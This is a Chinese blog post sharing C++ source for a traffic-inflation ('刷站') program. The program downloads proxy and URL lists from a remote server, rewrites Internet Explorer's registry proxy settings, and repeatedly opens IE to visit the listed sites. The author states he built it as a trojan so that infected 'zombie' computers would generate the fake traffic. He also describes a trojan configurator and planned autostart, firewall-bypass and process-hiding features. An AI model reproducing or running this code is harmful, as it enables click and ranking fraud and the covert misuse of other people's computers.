下载指定代理文件调用IE使用代理访问指定网站的代码

前段时间haicao写了一个刷站程序,原理是通过更新IE代理,然后调用IE去访问指定的网站,从而达到刷站的目的,后来haicao说这样做效果不理想,结果我也没有能继续开发下去的意愿,现在发布出来。
介绍一下:
      这个程序只完成了一半,按我设计的功能还没有达到,但是没有希望的东西,也就没有开发的必要了。
结构:
   1----程序启动时自动下载更新代理文件(完成)
   2----设置IE代理,调用IE(可隐藏界面)访问指定网站(完成)
   3-----自启动(没有写)
   4------穿透放火墙(没有写)
   5-------隐藏程序进程(没有写)

发布出来主要还是给菜鸟问学习的,高手们就不要看了,要么我就觉得我自己的在丢人显眼了!

    haicao的程序主要思想是写出来自己运行,而我当时第一个想法就是做成木马方式,然后肉鸡或者是中木马的电脑自动帮我们刷站,所以我写的基于木马方式。

里面用到李马介绍的:浅析木马服务端的生成技术
            [url]http://sunlion.3322.org/show.asp?sunid=206[/url]
            如果没有写过木马配置器的同学,你可以学习学习!也可以把我的程序当着是一个例子。希望对给菜鸟们带来点什么。
   
copy.rar--------------------这个是摸板源代码
copy.bin——————————这个是摸板release后的exe文件,我修改为bin
Auto.cpp--------------------------这个是GUI木马培植器的主程序。
都在压缩包里面了。
    前两天想找以前写这个程序的时候搜索的资料,结果竟然被我删除了,郁闷,这些东西都是叫无敌在给我传回来的,随便也就发出来了。图片如下:
[img]http://sunlion.3322.org/blogpic/2006427025068801.jpg[/img]
GUI主要是通过从载摸板资源,修改指定地址数据,再从新生成EXE,文件,所以这个程序的主要功能代码还在下面这个CMD版中:
#include  <afx.h>
#include <stdio.h>
#include <Wininet.h>
#pragma comment(lib,"Wininet.lib")
//#include"HideProcess.h"
#define LEN sizeof(struct DataIpPort)

struct DataIpPort                            //定义一个链表结构来保存读入的代理地址
{
   char           dataLine[50];
   struct DataIpPort      *next;
};


struct DataIpPort *ReadData( char *fileName )  //这个子函数负责读入指定数据放到链表中
{
  
   struct DataIpPort      *l;
   struct DataIpPort      *p;
   FILE          *fp = NULL;
  

  if( (l = (struct DataIpPort *)malloc(LEN)) == NULL )
   {
      printf( "create mem error.../n" );
      exit(-1);
   }
   l->next =NULL;
   if( (fp = fopen( fileName , "r" )) == NULL )
   {
      printf( "open the %s error.../n" , fileName );
      exit(-1);
   }
   
  while( !feof(fp) )
  {   //主要是头部插入,其实尾部最好,不用考虑颠倒问题
     p = (struct DataIpPort *)malloc(LEN);
     fscanf( fp , "%s" , p->dataLine );
     p->next =l->next ;
     l->next =p;

  }
   return (p);
}  

//负责下载代理文件,这里直接copy了网上的代码,再次感谢作者
HRESULT UrlDownloadData(LPCTSTR szUrl, BYTE* &lpszData, DWORD &dwSize)
{
   URL_COMPONENTS urlComponents;
   memset(&urlComponents, 0, sizeof(urlComponents));
   urlComponents.dwStructSize = sizeof(urlComponents);
   urlComponents.dwHostNameLength = 1;
   urlComponents.dwUrlPathLength = 1;
   BOOL bSuccess = InternetCrackUrl((LPCSTR)szUrl, 0, 0, &urlComponents);
   if(!bSuccess)
   {
      return E_FAIL;
   }
   CHAR szHostName[256];
   strncpy(szHostName, urlComponents.lpszHostName, urlComponents.dwHostNameLength);
   szHostName[urlComponents.dwHostNameLength] = 0;
   CHAR szUrlPath[1024];
   strncpy(szUrlPath, urlComponents.lpszUrlPath, urlComponents.dwUrlPathLength);
   szUrlPath[urlComponents.dwUrlPathLength] = 0;
   USHORT nPort = urlComponents.nPort;

   HINTERNET hSession = InternetOpen("MSIE 2.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
   if(hSession != NULL)
   {
      HINTERNET hConnection = InternetConnect(hSession, _T(szHostName), nPort, NULL, NULL, urlComponents.nScheme, 0, 0);
      if(hConnection != NULL)
      {
        static LPCTSTR* lpszAcceptTypes = NULL;
        static LPCTSTR lpszMethod = "GET";
        HINTERNET hRequest = HttpOpenRequest(hConnection, lpszMethod, _T(szUrlPath), HTTP_VERSION, NULL, lpszAcceptTypes,
           INTERNET_FLAG_DONT_CACHE, NULL);
        if(hRequest != NULL)
        {
           CHAR* szHeader = NULL;
           CHAR* szPost = NULL;
           BOOL bSend = ::HttpSendRequest(hRequest, szHeader,0, szPost,0);
           if(!bSend)
           {
              InternetCloseHandle(hRequest);
              InternetCloseHandle(hConnection);
              InternetCloseHandle(hSession);
              return E_FAIL;
           }
           
           CHAR bufStatusCode[80];
           DWORD dwStatusSize = sizeof(bufStatusCode);
           if(FALSE == ::HttpQueryInfo(hRequest, HTTP_QUERY_STATUS_CODE,
              &bufStatusCode, &dwStatusSize, NULL)) { //获取返回状态码
              InternetCloseHandle(hRequest);
              InternetCloseHandle(hConnection);
              InternetCloseHandle(hSession);
              return E_FAIL;
           }
           UINT nStatusCode = (UINT)atol(bufStatusCode);
           //判断状态码是不是 200
           if(HTTP_STATUS_OK != nStatusCode)
           {
              InternetCloseHandle(hRequest);
              InternetCloseHandle(hConnection);
              InternetCloseHandle(hSession);
              return FALSE;
           }
           // Get the length of the file.
           char bufContentLength[32];
           DWORD dwLengthSize = sizeof(bufContentLength);
           if(FALSE == ::HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
              bufContentLength, &dwLengthSize, NULL))
           { // 取文件长度
              InternetCloseHandle(hRequest);
              InternetCloseHandle(hConnection);
              InternetCloseHandle(hSession);
              return E_FAIL;
           }
           DWORD dwFileSize = (DWORD)atol(bufContentLength);
           
           BYTE*    lpszBuff = NULL;
           DWORD    dwBuff = 1024;
           DWORD    dwRead;
           BOOL    bDownload = TRUE;

           lpszData = new BYTE[dwFileSize];
           dwSize = 0;
           do {
              if(!InternetQueryDataAvailable(hRequest,&dwBuff,0,0))
              {
                if(lpszBuff != NULL)
                {
                   delete[] lpszBuff;
                }

                InternetCloseHandle(hRequest);
                InternetCloseHandle(hConnection);
                InternetCloseHandle(hSession);

                delete[] lpszData;
                lpszData = NULL;
                dwSize = 0;

                return E_FAIL;
              } else
              {
                lpszBuff = new BYTE[dwBuff];
                if(!InternetReadFile(hRequest,(LPVOID)lpszBuff,dwBuff,&dwRead))
                {
                   delete[] lpszBuff;
                   InternetCloseHandle(hRequest);
                   InternetCloseHandle(hConnection);
                   InternetCloseHandle(hSession);

                   delete[] lpszData;
                   lpszData = NULL;
                   dwSize = 0;

                   return E_FAIL;
                } else
                {
                   if(dwRead == 0)
                   {
                      delete[] lpszBuff;
                      break;
                   }
                   DWORD dwCurrent = dwSize;
                   dwSize += dwRead;
                   if(dwSize <= dwFileSize)
                   {
                      memcpy(lpszData + dwCurrent, lpszBuff, dwRead);
                      delete[] lpszBuff;
                   } else
                   {
                      delete[] lpszBuff;
                      InternetCloseHandle(hRequest);
                      InternetCloseHandle(hConnection);
                      InternetCloseHandle(hSession);

                      delete[] lpszData;
                      lpszData = NULL;
                      dwSize = 0;

                      return E_FAIL;
                   }
                }
              }
           } while(bDownload);
           InternetCloseHandle(hRequest);
           InternetCloseHandle(hConnection);
           InternetCloseHandle(hSession);
           return S_OK;
        } else
          {
           InternetCloseHandle(hConnection);
           InternetCloseHandle(hSession);
        }
      } else
       {
        InternetCloseHandle(hSession);
      }
   }
   return E_FAIL;
}


void usage(char *p)         
{
   printf(
   "/t Usage:/t/n"
   "/t %s NetFileProxy FileProxy NetFileURL FileURL T1 T2 T3/t/n"
   "/t NetFileProxy------代理列表文件网络地址.例如:  [url]http://sunlion.3322.org/SunLion.EST[/url]/t/n"
   "/t FileProxy------代理列表文件.例如:  PROXY.EST/t/n"
   "/t NetFileURL------要访问的地址文件网络地址.例如:  [url]http://sunlion.3322.org/URL.EST[/url]/t/n"
   "/t FileURL------要访问的地址.例如:  URL.EST/t/n"
   "/t T1------间隔时间(s).默认:18s/t/n"
   "/t T2------循环次数.默认:24/t/n"
   "/t T3------访问延时(ms)m默认:10000ms/t/n"
   "/t 两种格式输入:1.只输入IE所在的盘符、代理和域名文件  2.把所有参数都输入/t/n"
   "/t %s c: sunlion.est url.est/t/n"
   "/t %s c: proxy.est url.est 15 24 10000/t/n"
        ,p,p,p);   
}


int main(int argc,char *argv[])
{


char buf[100];
int  i, T1=18,T2=24,T3=10000;
struct DataIpPort *IpPort,*IpPortCONST;
struct DataIpPort *URL,*URLCONST;
LPBYTE pData = NULL;
DWORD dwSize = 0;
char szSystemDir[MAX_PATH];
   

   

printf(  "    *************************************************************/r/n"
       "    *        CMD版刷站程序 V1.0  AutoAlexa.exe          */r/n"
       "    *        Welcome To EvilOctalSecurityTeam           */r/n"
       "    *           [url]http://www.eviloctal.com[/url]              */r/n"
       "    *design:SunLion[EST]           [url]http://sunlion.126.com[/url]  */r/n"  
       "    *************************************************************/r/n"
        );

HKEY hKey;
LPCTSTR key="SOFTWARE//Microsoft//Windows//CurrentVersion//Internet Settings//";
LPCTSTR value="/x00/x00/x00/x01";
GetSystemDirectory(szSystemDir,MAX_PATH);   
szSystemDir[2] = &#39;/0&#39; ;
HRESULT hRet = UrlDownloadData(argv[1], pData, dwSize);
if(SUCCEEDED(hRet) && dwSize > 1)
{//读取文件
      OFSTRUCT ofs;
      HANDLE hFile = (HANDLE)OpenFile(argv[2], &ofs, OF_CREATE | OF_WRITE | OF_SHARE_EXCLUSIVE);
      if(hFile)
      {
        DWORD dwWritten;
        WriteFile(hFile, pData, dwSize, &dwWritten, NULL);
        CloseHandle(hFile);
        delete[] pData;
        //return TRUE;
      }
   }
else
{
printf("UrlDownloadData1 false!");
  delete[] pData;
}   
//printf("qqqqqqqqqqqqqqqqqqqqqq!");

   //return FALSE;
pData = NULL;
  hRet = UrlDownloadData(argv[3], pData, dwSize);
  if(SUCCEEDED(hRet) && dwSize > 1)
  {//读取文件
      OFSTRUCT ofs;
      HANDLE hFile = (HANDLE)OpenFile(argv[4], &ofs, OF_CREATE | OF_WRITE | OF_SHARE_EXCLUSIVE);
      if(hFile)
      {
        DWORD dwWritten;
        WriteFile(hFile, pData, dwSize, &dwWritten, NULL);
        CloseHandle(hFile);
        delete[] pData;
        //return TRUE;
      }
   }
  else
  {
  printf("UrlDownloadData2 false!");
   delete[] pData;
  }
   //return FALSE;
//HideProcess();
//下面是通过修改注册表实现 IE代理,两个地方自己看
if((::RegOpenKeyEx(HKEY_CURRENT_USER,  
key, 0, KEY_WRITE,&hKey))!=ERROR_SUCCESS)
{
printf("错误: 无法打开有关的hKey!");
return FALSE;
}

if((::RegSetValueEx(hKey, "ProxyEnable", NULL,
REG_DWORD,(LPBYTE)value,4))!=ERROR_SUCCESS)
{
printf("错误: 无法修改有关注册表信息Enable!");
return FALSE;
}

if((argc!=5)&&(argc!=8))
{
usage(argv[0]);
return FALSE;
}

  

    IpPort =IpPortCONST= ReadData(argv[2]);
    if(IpPort==NULL)
       printf("get file1 false!");
    URL =URLCONST= ReadData(argv[4]);
    if(URL==NULL)
       printf("get file1 false!");
    if (argc==8) //桂林老兵的技巧
    {
          T1=atoi(argv[5]);
           T2=atoi(argv[6]);
          T3=atoi(argv[7]);
    }
  for(i=0;i<T2;i++)
    {
    IpPort=IpPortCONST;
    while(IpPort->dataLine !=NULL)
    {
    printf("/n%s",IpPort->dataLine);
    if((::RegSetValueEx(hKey, "ProxyServer", NULL,
       REG_SZ,(LPBYTE)IpPort->dataLine,sizeof(IpPort->dataLine)))!=ERROR_SUCCESS)
    {
      printf("错误: 无法修改有关注册表信息Server!");
      return FALSE;
    }
     URL=URLCONST;
    if(URL->dataLine==NULL)
       printf("/n无法读取URL列表文件!");
    while(URL->dataLine !=NULL)
    {
   
       STARTUPINFO info={3};//这里要了我的命
      PROCESS_INFORMATION pinfo;
      info.cb       = sizeof(STARTUPINFO);

      //info.dwFlags    = STARTF_USESHOWWINDOW;
     // info.wShowWindow = SW_HIDE;
      info.dwFlags    = STARTF_USESTDHANDLES;
      info.wShowWindow = SW_SHOWDEFAULT;
      
     
      sprintf(buf,"%s//Program Files//Internet Explorer//IEXPLORE.EXE %s",szSystemDir,URL->dataLine);
     
     printf("/n%s/n",buf);
     if(!CreateProcess(NULL,buf,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&info,&pinfo))
    {
      printf("错误: 无法创建IE进程!");
      return FALSE;
     }
      
      
     
     URL =URL->next ;
     ZeroMemory(buf,100);
     Sleep(T3);
     TerminateProcess(pinfo.hProcess,0 );
    }
    IpPort =IpPort->next ;
    Sleep(T1*1000);
    }
   }
  



}
 
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值